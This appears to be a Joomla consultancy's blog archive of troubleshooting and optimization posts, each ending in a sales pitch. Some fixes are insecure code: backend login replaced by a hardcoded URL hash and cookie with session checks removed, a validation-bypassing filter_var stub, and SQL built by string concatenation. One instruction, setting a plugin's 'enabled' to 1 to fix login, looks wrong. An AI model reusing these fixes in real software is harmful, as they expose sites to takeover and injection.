a.featured, a.fulltext, a.state, a.publish_down, badcats.id, c.title, c.path, c.access, c.alias, uam.id, ua.name, ua.email, contact.id, parent.title, parent.id, parent.path, parent.alias, v.rating_sum, v.rating_count, c.published, c.lft, a.ordering, parent.lft, fp.ordering, c.id, a.images, a.urls ORDER BY CASE WHEN a.publish_up = 0 THEN a.created ELSE a.publish_up END DESC , a.created;

In case you’re wondering why the query was being run twice, it was because the first time the query was getting all the rows (yes, all the rows), and the second time it was running by a function called getTotal in order to know how many rows there were for the pagination. An immediate optimization idea (which we did) was to suppress the redundancy and pass the getTotal function the number of rows by simply issuing the function count() on the resulting array from the first query.

Now, we reduced the page loading time by 30 seconds (we eliminated one of the two query calls), but there was another major problem – that query was taking 30 seconds! Now, before we continue, let us briefly explain what this query is and where it is…

This query is a generic query used by mainly com_content views that display a list of items in one or more categories. It resides in the articles.php model file which is located under the components/com_content/models folder.

From a distance, the above query might look all fine and dandy, but if you take a closer look, you can easily notice that there’s a lot of useless table joins that are hardly (if ever) used:

  • The query makes a join on the table #__contact_details table. Is that really necessary? Why would any website care for a join between the #__content table and the #__contact_details table.
  • badcats are those categories that are disabled, and as such, the articles under them should not appear on the website. However, the inclusion of badcats in the query is extremely costly because they were creating an unnecessary (and very costly) join on the #__categories table. Yes, an article with a disabled category should not be displayed, but if someone is about to disable a category, then he’s better off manually (or automatically) disabling all the articles belonging to that category so as not to slow down performance.

  • The #__content_rating join is pure overhead (especially in the case of our client, who wasn’t even using ratings anyway on the website) – we think that if a view needs a rating, then it must lookup the rating value for each and every rating that is displayed – instead of getting the ratings of 40,000 articles, and then just use the ratings of 30.

  • The #__users join might seem necessary at first glance – because the author’s information is needed. However, since each article has the author id in the #__content table, isn’t it much better to retrieve the author’s information only for the rows displayed (e.g. in the view itself) rather than getting the author’s information of all the articles and then displaying those of 30. (This point is very similar to the previous point.)

  • Last but not least, the join #__content_frontpage table is completely unnecessary and we have no idea why Joomla is still doing that join when we have the featured and the ordering fields in the #__content table. Not only that join is unecessary (and way too costly if a website has a lot of featured articles), but also the whole #__content_frontpage table should not be there in the first place. It’s simply no longer needed!

After removing the above unnecessary joins from the query, its execution speed was greatly improved, but it was still unacceptable. The query was taking 2 seconds to execute – which is way too high. So we examined it more closely…

We looked at the included fields in the query, and we noticed that we only needed one field – just one, which was the id of the entry in the #__content table. Yes – you read that right – only one field is needed. All the other fields are completely unnecessary – why oh why one needs to retrieve the introtext of 40,000 articles while he only needs the introtext of just 30 (or less) – by the way, some websites have all the content of their articles solely in the introtext field, so you can imagine the overhead. So, we scrapped all the other fields from the query, and we modified the views using that query to retrieve just the needed article information from the database. Yes, this means that for each entry to be displayed we will have a separate query (or more), but the cost of this is negligible when it is compared to retrieving nearly the full information of 40,000 articles from the #__content table.

Once we did the above the query was taking merely 0.07 seconds to execute!

We applied the same strategy for all the other costly queries, and we eventually achieved a load time (on production) of 0.35 seconds for the full page – which is about 214 times faster than the original 75 seconds!

We then enabled caching (we chose conservative caching) and we ensured that the caching time was 60 minutes for each page and 24 hours for the modules. This step was necessary because while 0.35 seconds is fast – it is not that fast when there are thousands of queries every hour to the website. A side note here: Many Joomla websites that perform very well in development, perform very poorly in production because the amount of traffic is not comparable. An unnoticeable performance issue on development is equivalent to an extremely slow site in production (not to mention, of course, the database errors).

Finally, we moved the website to production and we started monitoring its performance as of yesterday evening – and so far it is working without a hitch, even on the old, middle-end server. However, we did tell our client to migrate to a high end server as soon as possible (yes – we think it’s still needed – a high traffic Joomla website must have all the room it needs to perform as it should)…

If you have a very large Joomla website and you’re worried about performance issues when migrating to Joomla 2.5, then fear not; we can migrate your website from scratch and ensure that all the optimization techniques are implemented (for a very reasonable fee) so that your visitors can have a smooth experience. All you need to do is to contact us! We’re always available, we’re professional, and we know Joomla inside out!

K2 And Setting the Wrong Open Graph Description Meta Tag

We love K2 – it’s one of those rare components that are a true a gem. Nevertheless, we do discover some quirks in the K2 engine from time to time. Today, we have discovered a problem with setting the Open Graph description meta tag. Here’s what happened this afternoon…

In the HTML code of one of our clients, we saw the following meta tag:

<meta name="og:description" content="Tweet Share [Real Description of the Page...]" />

We didn’t know where Tweet and Share were coming from, they were nowhere to be found anywhere in the template. Additionally, we know for a fact that Joomla – by default – doesn’t set the og:description meta tag. It must be a plugin, but which? We immediately thought about sh404 (it’s, ahem, favorite suspect), so we checked all its code and we discovered that it was innocent. Yes, there is a place where sh404 sets the og:description meta tag, but a quick test revealed that it wasn’t that code that was generating og:description. The Open Graph description meta tag was generated and set somewhere else…

We spent a long time trying to search for the plugin that was doing it and we couldn’t find any. But then we thought, what if that code is generated by K2? It does make sense because K2 is aware of its content and is known for having native support for Open Graph. A quick search in K2’s core files unveiled the mystery – it was the file view.html.php (located under the components/com_k2/views/item folder) that was setting the og:description meta tag. OK – now you might be thinking – what does that have anything to do with the presence of Tweet and Share in the og:description meta tag. Well, the problem was that K2 was grabbing the og:description (as well as the standard meta description) from the document, and not from the K2 item content. This is fine, but when the document’s content is changed by a plugin (such as a plugin that inserts a Tweet and a Share button), then the og:description will be polluted by nonsense words such as Tweet, Share, and Script

OK – enough talk! Here’s what we did to solve the problem:

  • We opened the file view.html.php which exists under the folder components/com_k2/views/item.
  • We changed the following line (line 473):

    $document->setMetaData('og:description', htmlspecialchars(strip_tags($document->getDescription()), ENT_QUOTES, 'UTF-8'));

    to the following line:

    $document->setMetaData('og:description', htmlspecialchars(strip_tags($introtext), ENT_QUOTES, 'UTF-8'));

  • We added the following line:

    $introtext = trim($item->introtext);

    After this line (line 42):

    $item = $model->getData();

  • We uploaded the view.html.php back to its place and that solved the problem!

Note that also the standard description meta tag might also be wrong if you’re not using K2’s meta description field. In this case, you will need to change this line (line 386):

$metaDescItem = preg_replace("#{(.*?)}(.*?){/(.*?)}#s", '', $item->introtext.' '.$item->fulltext);

to this one:

$metaDescItem = preg_replace("#{(.*?)}(.*?){/(.*?)}#s", '', $introtext.' '.$item->fulltext);

So, yes, even K2 can have bugs. Even Joomla can have bugs, for that matter! But that doesn’t mean that they’re not both excellent products!

Now, if your (og:)description meta tag has some weird content, then please apply the above and see if it works. If it doesn’t, or if you don’t even have K2 in the first place, then the problem might be caused by another extension. In this case, just contact us and we’ll help you solve the problem quickly. By the way, fear not, we’ll charge you a very reasonable fee for our services!

RokQuickCart Not Adding Items To Cart – How to Solve

One of our clients asked us to install RokQuickCart on his Joomla website. For those of you who don’t know, RokQuickCart is a free Joomla component that is used for small stores with standard items (e.g. online stores selling books, subscriptions, etc…) The nice thing about this component is that it’s extremely easy to use and extremely easy to setup: its configuration consists of merely adding a PayPal email. That’s it!

Now, when we installed it and added a couple of test products, we expected for everything to work smoothly – but it didn’t… Every time we tried to add a product to the cart, nothing happened! The item was not added and the shopping cart was always empty. We immediately realized there’s a JavaScript error somewhere. So we looked at the JavaScript console (in Google Chrome), and there was indeed the following error:

Uncaught TypeError: Object # has no method ‘ready’

Then we looked at the code, and we noticed that both jQuery and Mootools were loaded on the same page, which was causing a conflict. So, we decided to disable the former on the products page only. Here’s how we did it:

  • We opened the file default.php located under the components/com_k2/com_rokquickcart/views/rokquickcart/tmpl folder and we added the following code at the beginning of the file:

    <?php
    	$document = &JFactory::getDocument();
    	$rootPath = JURI::root(true);
    	$arrHead = $document->getHeadData();
    	unset($arrHead['scripts']['//ajax.googleapis.com/ajax/libs/jquery/1.8/jquery.min.js']);
    	$document->setHeadData($arrHead);
    ?>

    The above code removed jQuery from the list of JavaScript libraries included on the products page. Note that the location of the jQuery library might be different in your situation, so make sure you unset (remove) the right JavaScript path. Read here for more information on how to remove a JavaScript library from a Joomla page. (Warning: that article that we linked to is about removing Mootools, which is not what you want in this case. We just included the article so that you can have more insight on where the above code came from.)

  • We saved that file and we uploaded it back. The problem was fixed!

Quick note here: Some claim that the problem can be solved by just adding the following code to the affected page (in our case, the aforementioned default.php page):

<script>
	jQuery.noConflict();
</script>

The above code won’t work – just take our word for it!

If you are trying to install RokQuickCart and you’re having problems with it, then please contact us and we’ll do the installation for you. We won’t charge you much and we’ll do the job in no time! What are you waiting for?

Mosets Tree – An Extremely Slow/Unoptimized Joomla Extension

One of our customers complained to us today that his Joomla website was extremely slow. So, we used the MySQL slow query log to unveil the issue, and we discovered that the culprit was Mosets Tree. In particular, it was these two queries:

  1. SELECT l.*, c.cat_name, c.cat_id, u.username AS username, u.name AS owner, u.email AS owner_email, img.filename AS image FROM (wq8k0_mt_links AS l, wq8k0_mt_cl AS cl, wq8k0_mt_cats AS c) LEFT JOIN wq8k0_users AS u ON u.id = l.user_id LEFT JOIN wq8k0_mt_images AS img ON img.link_id = l.link_id AND img.ordering = 1 WHERE link_published='1' && link_approved='1' && link_featured='1' AND img.img_id > 0 AND ( publish_up = '0000-00-00 00:00:00' OR publish_up <= '2013-05-31 01:09:59' ) AND ( publish_down = '0000-00-00 00:00:00' OR publish_down >= '2013-05-31 01:09:59' ) AND l.link_id = cl.link_id AND c.cat_id = cl.cat_id AND cl.main = 1 ORDER BY link_featured ASC

  2. SELECT cf.*, cfv.link_id, cfv.value, cfv.attachment, cfv.counter, ft.ft_class FROM wq8k0_mt_customfields AS cf LEFT JOIN wq8k0_mt_cfvalues AS cfv ON cf.cf_id=cfv.cf_id AND cfv.link_id = 152 LEFT JOIN wq8k0_mt_fieldtypes AS ft ON ft.field_type=cf.field_type WHERE cf.published = '1' ORDER BY ordering ASC

The first query was taking 25 seconds to execute, while the second was taking about 30 seconds. So we checked these two queries in phpMyAdmin using the Explain command (e.g. Explain [query]), and we discovered that not one single field was indexed – not one! This means that any Select query will take ages to execute if there’s a lot of data (and our customer had a lot of data). Not only that, we also discovered that not a single table had a primary field, which means any Join between the Mosets‘ tables is extremely expensive on the system.

We were surprised, because Mosets Tree is a highly used Joomla extension that is commercial! For a commercial extension, one usually expects a high quality extension. Unfortunately, we can’t say that about Mosets Tree.

Obviously, solving the problem meant that we had to manually index many fields belonging to the Mosets‘ tables. Once we did that, the site became much faster and the load on the server decreased.

After fixing the problem, we started thinking, how many famous extensions are similarly unoptimized? How many Joomla websites out there suffer because they are using one of these extensions? And what did the developers have in mind when they completely ignored something so obvious (which is indexing their fields)? One has to wonder whether database optimization was left out on purpose (especially when an extension is many years old)…

Now, if you’re reading this post because your website is extremely slow because of Mosets Tree, then we suggest that you index the filter fields in all the Mosets Tree tables (this can be done in phpMyAdmin). If you don’t know how to do that, then we suggest that you contact us. We can optimize this extension for you in not time and at a very affordable price. All you need to do is to give us a call or shoot us an email!

Admin in Joomla Login Redirects to Another Login

We got a call from a client this afternoon telling us that when logging in to his website, he was redirected to another login. He was seeing this error:

Use a valid username and password to gain access to the administrator backend.

We thought he was experiencing one of the many common login issues on Joomla. We were wrong…

When we checked the website, we noticed that he wasn’t even redirected to the standard Joomla login, he was being redirected to a completely different login (something similar to Joomla’s login but with no design/layout whatsoever). The new login link was also different, it was http://www.ourclientjoomlawebsite.com/v2/administrator/index.php/wp-admin/install.php.

We asked the client whether he did something just before the error happened, and he told us that he installed the WordPress for Joomla extension (which we think is a very poorly written extension but one that does the job) but he didn’t finalize the installation (e.g. he installed the extension but he didn’t go through configuring it). Aha! We immediately knew the cause of the problem, it’s most certainly a plugin being loaded by the new WordPress extension which was doing all this. The link the login was redirecting to contained the word wp-admin (which is a WordPress specific folder), a fact that confirmed our theory!

So, here’s what we did to fix the problem:

  • We logged in to phpMyAdmin through our client’s cPanel.
  • We clicked on the #__extensions table on the right (replace #__ with your database alias).

  • We then searched for the User – WordPress entry and we set the enabled field for that entry to 1.

  • The problem was solved – our client was able to login again to his website.

It’s amazing that even after all these years, we still are seeing login problems that we have not seen before! That’s what makes our job so beautiful – there’s something new every day – a new challenge and a new solution!

If you’re having a similar login issue on your Joomla website, and if the above is not working for you (or you don’t know how to implement it), then fret not, we’re here to the rescue! All you need to do is to contact us and we’ll make sure the problem is resolved in no time and for a very low cost.

How To Resolve the Most Annoying JW Player Error in Joomla

AllVideos is an excellent plugin that uses the JW player to display videos in different formats. It’s excellent and it usually works without a hitch. However, if you have been using it for a long time in different environments, you might have seen the following error:

The video could not be loaded, either because the server or network failed or because the format is not supported. [absolute URL to the video the player is trying to load] undefined.

The first time we have seen the above error we have spent literally a whole day trying to solve it – we just didn’t know what the cause of it was, and it was not happening on all machines and it was happening only on FireFox.

We first thought that it might have something to do with FireFox’s version, so we upgraded FireFox to the latest version (which is 21 at the time of writing this post). That didn’t help…

Our second attempt was to update Flash to the latest version – that didn’t help either…

Our third attempt was to read through the code and see how the video was embedded, and we noticed that the new JW Player does not use absolute URLs in its embed code – so we changed that. We opened the file sources.php which is located under the /plugins/content/jw_allvideos/jw_allvideos/includes folder and we ensured that all the URLs in the embed code were absolute. Unfortunately, that didn’t work… (By the way, doing this might solve other issues you’re having on the website – for example when the player is unable to find the video, so what we did was not a complete waste after all!)

We finally did some research, and we discovered that FireFox has issues displaying videos using HTML5. Hmmm…. So, we checked the embed code again, and we saw this:

'modes': [
  { 'type': 'html5'},
  { 'type': 'flash', src: '[URL to the flash player]' },
  { 'type': 'download' }
]

Ahaaaa! As you can see, the first option is to load the video using HTML5 – which is the heart of the problem since FireFox has issues when it comes to loading videos using HTML5. So, in order to solve the problem, we decided to change the sequence of loading; we decided to make the Flash player the primary tool to load the videos. Here’s how we did it:

  • We opened the sources.php file located under the /plugins/content/jw_allvideos/jw_allvideos/includes directory.
  • We flipped lines 23 and 24. So, line 23 became line 24, and line 24 became line 23. In other words, we moved the line:

    { 'type': 'html5' },

    below the line:

    { 'type': 'flash', src: '{PLUGIN_PATH}/includes/js/mediaplayer/player.swf' },

    This step ensured that the browser will first try to load the videos in the Flash container – and, if Flash is nowhere to be found, then it tries to load it using HTML5.

  • We saved the file and we uploaded it back and that fixed the problem! Hooray!

Now, if you have the same problem but are not too technical to fix it using the above technique, then probably your best option would be to contact us; we’ll do it for you at a very competitive rate and in the blink of an eye! (Well, not literally, but we are really fast!)

Why Joomla Should Change Its Database Structure

Note: This post is extremely advanced and is aimed at Joomla administrators with a solid technical background.

We love Joomla. We think that it’s one of the best CMS’s out there, if not the best CMS. That’s why we think it’s good to constructively criticize it from time to time so that it remains where it is right now (and hopefully become better).

Let’s start…

One of the most annoying characteristics of Joomla, and of any CMS in general, is how database tables are linked. For example, let’s take a look at the #__categories (the table containing the categories). That table is linked to many other tables through the ID field. For example, we know that a particular article belongs to a certain category because the ID of that category is referenced in the catid field in that particular’s article row (in the table #__content). Now, all this seems fine and clean, and it’s considered to be standard practice when it comes to database architecture. But, is it the best practice? (Yes, we know, we have italicized the word best twice so far in this post!)

We don’t think so!

To answer the first question that you might have on your mind: “No, we have not finally lost our senses” (that’s a quote from Alice in Wonderland, except that the not is not there). In order to prove that, let us tell you what happened to us today…

We were migrating a Joomla website (from Joomla 1.5 to Joomla 2.5) today, and, as most of you already know, preserving the IDs of the articles in the #__content table is nearly impossible if you want to do a clean migration. Now, for small websites with little or no extra features, this might be harmless, but the website that we were migrating today had one feature that caused us some trouble, and that feature was JComments (the excellent Joomla commenting tool). Each comment in JComments was linked to the article’s ID, but since the article ID association could not be maintained during the migration, we had data integrity issues: comments were no longer linked to the right articles (some were not linked to any articles!).

A database administrator would say that this is very normal in a relational database, but we beg to differ. You see, the problem is that during the migration, the new article IDs were generated automatically, because the article ID is an Autonumber field in the database (e.g. the database will automatically assign the next number in the sequence for each new article [The first article's ID is 1, the second's ID is 2, etc...]). But what if Joomla doesn’t use Autonumber at least in its main tables (such as the #__content table, the #__menu table, the #__categories table, etc…) and use a hash that is calculated based on a unique combination of 2 fields (such as the title and the creation date)? That hash will remain static and unique in time and space (OK, we’re getting a bit philosophical here…) so any move of the data anywhere will not affect the table relationships in the database, because all the tables will be using that unique (and static) hash to reference items in other tables.

Now, when would that hash be created? When the entry is created in Joomla, of course! For example, when you create a new article, Joomla will automatically create its hash based on its creation date and its title.

We know that this concept sounds too good to be true – but it is true, and it can work. The problem is that most database architects will refuse even looking at it because it’s “not the way we do things” and because “there might be some serious repercussions” (we’re using their terminology). Yes, it’s not the way we do things, and there might be some repercussions, but isn’t this whole concept worth at least a try?

Now let’s get back to you, our dear reader! If you’re having data integrity problems after the migration of your Joomla website because of the above issue, then fear not, we can help! We can write a customized script that will remedy your data. All you need to do is to contact us and rest assured, we won’t charge you much and we will get the job done!

How to Disable the MultiThumb Plugin on Modules

One of the really annoying plugins that we have to constantly work with is the MultiThumb plugin (or the so-called BK-MultiThumb plugin). It is annoying because we always have to modify the core to make it work the way we want it to work. It is also poorly documented and is characterized by an erratic behavior. (Yes, in case you’re wondering, Joomla plugins can have characters!)

One of the major annoyances with the MultiThumb plugin is its inability to differentiate between actual content and modules, so the code runs on the modules as well, and tries to intelligently (wink, wink) create thumbnails of the images in the modules – which is often not the desired behavior. Unfortunately, the plugin has no setting explicitly instructing it not to work on (certain) modules. To overcome this, the average Joomla administrator adds the mt_ignore directive in the alt tag of each and every image in each and every module that he does not want MultiThumb to modify. Clearly, this is an annoying and a hair pulling task, especially if the number of modules is in the hundreds (which is the case for many of the Joomla websites we work with).

So, are there other solutions for this problem?

Well, fortunately, at itoctopus, we have devised a couple of clean solutions to address this annoyance:

  1. Solution #1 – Instruct the module not to Prepare Content

    Usually, modules affected by the MultiThumb plugin have a setting under Basic Options which is called Prepare Content. When set to “Yes”, Prepare Content will trigger a call the function onContentPrepare when the module is loaded into the website. This means that any plugin (including the MultiThumb plugin) that has the function onContentPrepare will have full access to said module’s content – in other words, the plugin can read and can modify the module’s content. Obviously, if you don’t want your module’s content to be potentially modified, ensure that Prepare Content is set to “No”.

  2. Solution #2 – Modify MultiThumb’s core

    While the first solution is elegant, it suffers from three drawbacks: 1) it is not practical in case the website has hundreds of modules (one has to manually change the value of Prepare Content to “No” in all the modules), 2) some modules may trigger the onContentPrepare function without having a setting to disable it, and 3) setting the onContentPrepare value to “No” may have adverse effects on the website.

    So, a better solution would be to modify MultiThumb’s core by telling it not to process modules. This can be easily done by adding a line to the following function (the line is highlighted in red, and the function is located in the file multithumb.php which is located under the plugins/content/multithumb folder) :

    public function onContentPrepare($context, &$article, &$params, $limitstart = 0) {
    	if (strpos($context, 'mod_') !== FALSE) return;
    	if ( !$this->is_article ) {
    		return;
    	}
    	$this->onPrepareContent ( $article, $params, $limitstart);
    }

    Now, nothing’s perfect, and the above solution will mean that MultiThumb will not work on any module (which is most likely what you want). But, what if you want MultiThumb to work on some modules? Well, in this case, you just create a white-list array in the above function, and any modules in that white-list array will be processed by the plugin. Easy, huh?

Of course, the second solution must be performed by someone who knows a thing or two about coding, preferably a programmer. So, if you’re not, or if you need help doing this, then why not contact us? We are always available, our rates are competitive, our work is fast and professional, and we are super friendly!

Events in Certain Categories Not Appearing on JEvents Calendar

A couple of hours ago, we got an urgent call from a client in the UK (it’s now 7:30 AM here in Montreal), the client was using JEvents (the well known Joomla event calendar extension) to display the events of his company. He told us that for some reason, all the events under some categories are not displaying on his website. Our client said that he was sure that those categories were published (active) and when the events were listed under different categories they would show up. We smiled because we worked on the exact same problem a few days ago so we knew how to immediately fix it.

We then asked our client whether he selected those categories in the menu item pointing to JEvents. He said: “Let me check…” A minute later (he was still on the phone), he told us: “Thank you, thank you, thank you!”

Now enough with the narration, and let us explain to you, our faithful reader, how to fix the problem:

  • First make sure that those categories are enabled. You can check whether those categories are enabled by logging in to the backend and going to Components -> JEvents -> Categories.
  • Now check that the events are actually published in those categories. (We know, DUH, but sometimes this might be the reason)

  • Now go to the menu item pointing to JEvents, and make sure that these categories are selected on the right of the page. See image below…

JEvents Select Categories

Figure 1: Selecting Categories on JEvents’ Menu Item

Doing the above should fix your problem, if it doesn’t, then try creating a new category, and add a new event to that category and see if it works (make sure that the menu item pointing to your calendar has this category selected). If this still doesn’t work, then check if you have two menu items each pointing to a JEvents calendar on your website. If this is the case, then again, make sure that you are working on the right menu item.

If all else fails, then why not contact us? We can definitely fix the problem for you at record speed. We don’t charge much and we are very, very professional. We are also very friendly! What more could anyone want from his programmers?

Weird Hash in All of Joomla’s URLs – Cause and Fix

A client emailed us late at night yesterday and told us that all of the pages on his Joomla website have a weird hash in the URL. He told us that he just noticed the problem and he needed it fixed immediately. So, we checked the website and it was something we haven’t seen before: every page we went to had an anchor attached to it. For example, when clicking on the Our Services page on our client’s website, the link in the address bar was: http://www.ourclientjoomlawebsite/our-services.html#_U0123456789A. What was even weirder was that the link to the Our Services page did not contain that anchor!

So, we took a closer look and we discovered that the anchor was added after the page was fully loaded – which means that it was a JavaScript script that was doing this mess. After a lot of investigation (we’re saving you hours here!), we discovered that it was a piece of code used to display the AddThis widget which was responsible for this. Here’s that code (the code was placed in a Custom HTML module):

<script type="text/javascript">var addthis_config = {"data_track_addressbar":true};</script>

The code above explicitly instructs the browser (through JavaScript) to track data in the address bar – which means that it has to add the hash in order to track the data. Changing the above code to the below one fixed the problem:

<script type="text/javascript">var addthis_config = {"data_track_addressbar":false};</script>

Now – after fixing it, we started wondering: how come the people at AddThis (which is a hugely used widget) allow for such a poor technique for tracking their famous product? And how many other JavaScript widgets have the same problem? We then thought that we were right in being always cautious when referencing JavaScript code located on a 3rd party website; you never know when this code goes berserk and starts doing weird things on a website!

So, if you’re having the problem where a weird hash suddenly shows up in the URL of each and every page of your Joomla website, then take a look at the module containing the AddThis code, and try to fix it using our above method. If you don’t have AddThis, then it might be another JavaScript code doing this (to confirm this, try disabling JavaScript on your browser and see if the problem’s still there). If this is the case (e.g. the problem is caused by another JavaScript code) and if you can’t fix it yourself, then how about asking for our help? Just contact us and we’ll fix the problem for you as quick as possible and for a very reasonable cost!

How to Fix “Call to undefined function filter_var” Error on Joomla

A well known client of us came to us yesterday evening and told us that he was getting a blank page when he saves the user’s data on a custom made component. We knew there was a fatal error somewhere so we set the “Error Reporting” to “Maximum” and we tried to save the profile, and we saw the following error:

Fatal error: Call to undefined function filter_var() in /components/com_user/controller.php on line 74

We became perplexed when we saw the above error: Our client was using Joomla 1.5 which does not require the availability of the function filter_var. For those who don’t know, filter_var is a PHP function that sanitizes/validates input (such as checking if a POST field is a valid email). This function is only available as of PHP 5.2.0 – our client had PHP 5.1.6.

After a quick investigation, we discovered that the controller.php file located under the /components/com_user/ has been modified to accommodate our client’s needs – but it was assumed at the time of modification that our client was using a PHP version that is higher or equal to version 5.2.0.

We had 4 options to fix the problem:

  1. Upgrade the PHP version to the latest version on our client’s server

    This option seemed at first glance the best option, but we dismissed it nearly immediately, because upgrading PHP may have repercussions on other areas of the website, especially when taking into consideration that Joomla’s core was heavily modified (there were many files other than the controller.php file that were modified). Our client was in a hurry and we did not want to create more work to solve the problem – albeit that more work is better on the long term.

  2. Implement the function filter_var from scratch and place it in a common PHP file

    This option made sense, but the problem is that the filter_var function is an extremely complicated and versatile function. Re-creating it from scratch might take days (and not hours). So, again, we dismissed this option.

  3. Remove all calls to filter_var from the code

    We thought, since the function never worked in the first place, why leave it there? Removing all instances of the function from the code will solve the problem. The validation was not working anyway (and it wasn’t critically needed).

    But, what if the client decides to upgrade PHP to the latest version in the future (which is something that will happen sooner or later)? He will lose that validation because it would have been already removed. Our third option was also dismissed.

  4. Create a skeleton of the filter_var function that always returns true

    We then pondered: Since we can’t upgrade PHP, we can’t re-create the function, and we can’t remove all instances of the function, then why not create a skeleton of the function and place it in a common include file? The skeleton filter_var function will just return the value (unmodified) in all circumstances – additionally, future compatibility can be maintained by ensuring that the skeleton function is only declared if it doesn’t already exist.

    So here’s what we did:

    • We opened the index.php located under the root of the website. We chose this file because it’s included across the board on the frontend – you can choose another common file if you wish. if you also have the problem on the backend, then you should add the below code to the index.php located under the administrator directory as well.
    • We added the following code to the index.php file (just before define( ‘_JEXEC’, 1 );):

      if (!function_exists('filter_var')){
      	function filter_var($value, $filter_type) {
      		return $value;
      	}
      }

    • We saved the file and uploaded it back and that solved the problem.

    Please note that this is not a long term solution because you will lose the validation/sanitation performed by the filter_var function – but, if you’re in a hurry and you need to address the problem rapidly, then this is the most convenient solution (it’s also the safest).

If you need help implementing the above solution or if you’re looking to upgrade PHP on your server to address this issue, then your best bet is to contact us. We can help you implement the above or ensure that a PHP upgrade on your server has no repercussions on your website. Our prices are affordable, our service is top notch, and our clients really love us! What more could you ask for?

How to Use a Hash in the URL to Authenticate Logins to a Joomla Website

This afternoon a new client called us and told us that he’s not able to login to the backend of his Joomla website. While we’ve seen his exact problem before (he wasn’t able to login and no error was displayed), we were not able to fix it using our standard techniques. So we spent literally over 10 hours trying to fix the problem but to no avail. We knew it had something to do with the session not being saved properly, but we couldn’t figure out the cause of the problem. Eventually, our youngest team member pointed out that the client was using a literally unknown web server (we can’t for the lives of us remember its name – but it was calling itself “Apache Like”), and so we did some testing and we eventually narrowed out the problem to the web server – this unknown web server just didn’t handle sessions the same way as Apache did – something that confused Joomla.

So, just to make sure, we asked him whether his hosting company changed its server environment lately, and he immediately forwarded us an email (sent from his hosting company) explaining the move to “a better”, “more performing”, and “more reliable” web server. We read the email and we wondered why on earth would anyone use an unknown web server to serve his clients. But enough rant…

We offered our client 2 choices:

  1. Switch his server environment to an orthodox LAMP environment.
  2. Let us devise a way (that may or may not be costly) to address the problem.

Our client, who was running a mission-critical website pertaining to his industry, went with the latter option. So, we disabled Joomla’s authentication for the backend and we used a secret hash (appended to the URL) to automatically authenticate the user. Here’s what we did, in details:

Step 1 – We disabled Joomla’s authentication

Disabling Joomla’s authentication can be done in many, many ways! We prefer the following method:

  • Open the file session.php located under the libraries/joomla/session folder.
  • Comment out lines 521, 522, 524, 527, and 528. In other words, the following code:

    if (!JRequest::getVar($session_name, false, 'COOKIE'))
    {
    	if (JRequest::getVar($session_name))
    	{
    		session_id(JRequest::getVar($session_name));
    		setcookie($session_name, '', time() - 3600);
    	}
    }
    

    should change to:

    // if (!JRequest::getVar($session_name, false, 'COOKIE'))
    // {
    	if (JRequest::getVar($session_name))
    //	{
    		session_id(JRequest::getVar($session_name));
    		setcookie($session_name, '', time() - 3600);
    //	}
    //}
    

  • Save the file and upload it back.

Step 2 – Authenticate Using a Hash in the URL

Authenticating users using a hash in the URL means that by having something like http://www.yourjoomlawebsite.com/administrator/index.php?myhash=[secret_hash] will allow you to login to the website without entering any username and password (provided, of course, the secret_hash is correct). Authenticating using a hash can be done the following way:

  • Open the file index.php located under the administrator directory.

  • Add the following code to the top of the index.php file:

    $myHash = $_GET['myhash'];
    if (empty($myHash))
    	$myHash = $_COOKIE['myhash'];
    if ($myHash != 'abcdefg1234567'){
    	die('No access');
    }
    else{
    	 setcookie('myhash', 'abcdefg1234567');
    }

    The above code ensures that only the URL with the right hash (which is abcdefg1234567 in our case) can gain access to the admin section. Additionally, it ensures a persistent authentication across the backend by setting and getting a cookie.

  • Save the index.php file and upload it back.

As you can see from the above, it’s a simple solution. It’s also far from ideal (yes – we admit it), but if the environment has problems with sessions, it might be the only solution.

If you’re having session issues related to the environment when logging in to your Joomla website, then fear not, your problem has a solution, and we can implement it for you. Just contact us and we’ll implement the above for you in no time and at a very affordable cost. Oh, and have we mentioned that we are the friendliest Joomla experts on this planet?

How to Migrate Joomla Articles’ Subtitles to K2

We have mentioned before that we are migrating a lot of websites from using Joomla’s core content to K2 because K2 is simply better (well, this is our opinion anyway). But, even though K2 provides all the tools to make the content migration an easy task, quite often, there are quirks here and there that need to be addressed manually to ensure a successful migration.

One of these quirks is that K2 articles, unlike Joomla articles, do not have the concept of a subtitle built-in. Of course, you might be thinking: “What, when did Joomla articles have any subtitle?” Technically, they didn’t – but there are some extensions that make good use of the unused title_alias field in the #__content table and treat it as a subtitle. The title_alias field was not used by Joomla’s core as of Joomla 1.5 (it is deprecated in Joomla 3.0).

Now going back to K2, its automatic migration of Joomla articles to K2 articles does not take into account the unused title_alias – additionally, K2 articles do not have subtitles. Thankfully, with itoctopus, there’s a simple solution to everything (well, nearly everything), so we devised a three-step process to circumvent this limitation:

  1. Step 1: Create an extra field called Subtitle

    Creating an extra field in K2 is extremely simple – and it can be done by just going to K2 -> Extra Fields, clicking on New on the top right, and then filling in the appropriate fields. It’s that simple!

  2. Step 2: Run the subtitle-migration script post article-migration

    The following migration script must be temporarily added to your index.php (on your website) in order to populate K2 articles with subtitles (we are assuming that you only have one extra field; the one that was created above):

    $db = &JFactory::getDbo();
    $sql = "SELECT title, title_alias FROM #__content WHERE title_alias <> ''";
    $db->setQuery($sql);
    $row = $db->loadAssocList();
    
    for ($i = 0; $i < count($row); $i++){
    	$sql = "SELECT id FROM #__k2_items WHERE title='".$row[$i]['title']."'";
    	$db->setQuery($sql);
    	$id = $db->loadResult();
    
    	$subtitle = '[{"id":"1","value":"'.$row[$i]['title_alias'].'"}]';
    	$sql = "UPDATE #__k2_items SET extra_fields ='".$subtitle."' WHERE id='".$id."'";
    	$db->setQuery($sql);
    	$db->query();
    }

  3. Step 3: Modify your template to use K2’s subtitle

    Open the item.php file which is located under the components/com_k2/templates/[your_k2_template_name] directory and add the following script where you want to display the subtitle field:

    foreach ($this->item->extra_fields as $key=>$extraField){
    	if ($extraField->name == 'Subtitle')
    		echo($extraField->value);
    	else
    		continue;

That's it!

Of course, if you're not a programmer, then you might believe (and rightly so) that the above is a bit intimidating, and that's why we exist! Just contact us and we'll do the subtitle migration for you in the glimpse of an eye (it might take a bit more, but you get the point). And don't you worry about our fees, they're very, very affordable!

Common Errors on Joomla’s Media Manager

We have been working on Joomla websites for a long time – so long that we have reached a point that we know the common errors in nearly every Joomla feature. Below are the top common errors that Joomla administrators face when they’re using the Media Manager (we’re also explaining how to fix them):

  1. Unable to upload file

    This error usually happens when the upload to the server fails. Possible causes are:

